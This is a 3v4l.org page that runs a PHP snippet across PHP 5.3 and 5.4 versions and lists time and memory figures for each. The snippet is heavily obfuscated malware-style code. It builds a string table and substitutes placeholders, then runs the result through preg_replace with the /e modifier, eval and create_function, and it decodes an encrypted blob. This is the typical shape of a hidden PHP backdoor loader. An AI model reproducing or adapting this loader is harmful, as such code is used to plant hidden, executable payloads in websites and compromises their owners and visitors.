3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ee1 = array( '\14', ', $', ') { ', '[$i]', 'substr($', 'a = $xx("|","', ',strpos($y,"9")', ' = str_replace($', 'x3', '\x7', '\15', ';$i++) {', 'function ', 'x6', '); ', 'for($i=0;$i<sizeof($', '); } create_function("", "};".$', ' = explode("' ); $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; preg_replace("/(.*)/e", 'eval('str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99));', NULL);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.300.0570.04018.93
5.4.290.0430.04719.20
5.4.280.0400.06319.18
5.4.270.0300.06318.96
5.4.260.0270.06319.10
5.4.250.0330.04019.05
5.4.240.0430.04719.18
5.4.230.0330.04319.18
5.4.220.0370.05319.22
5.4.210.0370.07019.24
5.4.200.0330.03319.11
5.4.190.0370.04718.95
5.4.180.0430.05719.18
5.4.170.0470.06319.07
5.4.160.0370.05319.10
5.4.150.0470.06319.16
5.4.140.0530.04316.44
5.4.130.0500.04716.39
5.4.120.0400.04316.34
5.4.110.0470.06316.56
5.4.100.0370.05316.36
5.4.90.0300.07016.56
5.4.80.0400.04016.46
5.4.70.0400.04316.46
5.4.60.0300.07016.30
5.4.50.0300.05316.49
5.4.40.0300.04716.42
5.4.30.0430.06316.23
5.4.20.0370.06316.29
5.4.10.0470.04716.48
5.4.00.0470.05015.98
5.3.280.0300.03714.68
5.3.270.0430.06014.48
5.3.260.0430.05314.55
5.3.250.0500.06014.56
5.3.240.0430.06714.54
5.3.230.0370.05314.50
5.3.220.0370.06714.54
5.3.210.0370.05314.49
5.3.200.0400.06314.49
5.3.190.0330.07314.36
5.3.180.0470.05714.49
5.3.170.0430.03714.49
5.3.160.0330.07714.48
5.3.150.0300.06714.49
5.3.140.0430.06314.50
5.3.130.0370.05014.37
5.3.120.0400.03314.49
5.3.110.0500.07314.45
5.3.100.0470.05713.98
5.3.90.0430.03313.84
5.3.80.0430.07013.95
5.3.70.0430.05013.98
5.3.60.0330.05013.97
5.3.50.0500.06013.92
5.3.40.0400.03313.89
5.3.30.0370.03713.88
5.3.20.0430.04713.71
5.3.10.0500.06713.75
5.3.00.0500.06013.57

preferences:
138.6 ms | 1394 KiB | 7 Q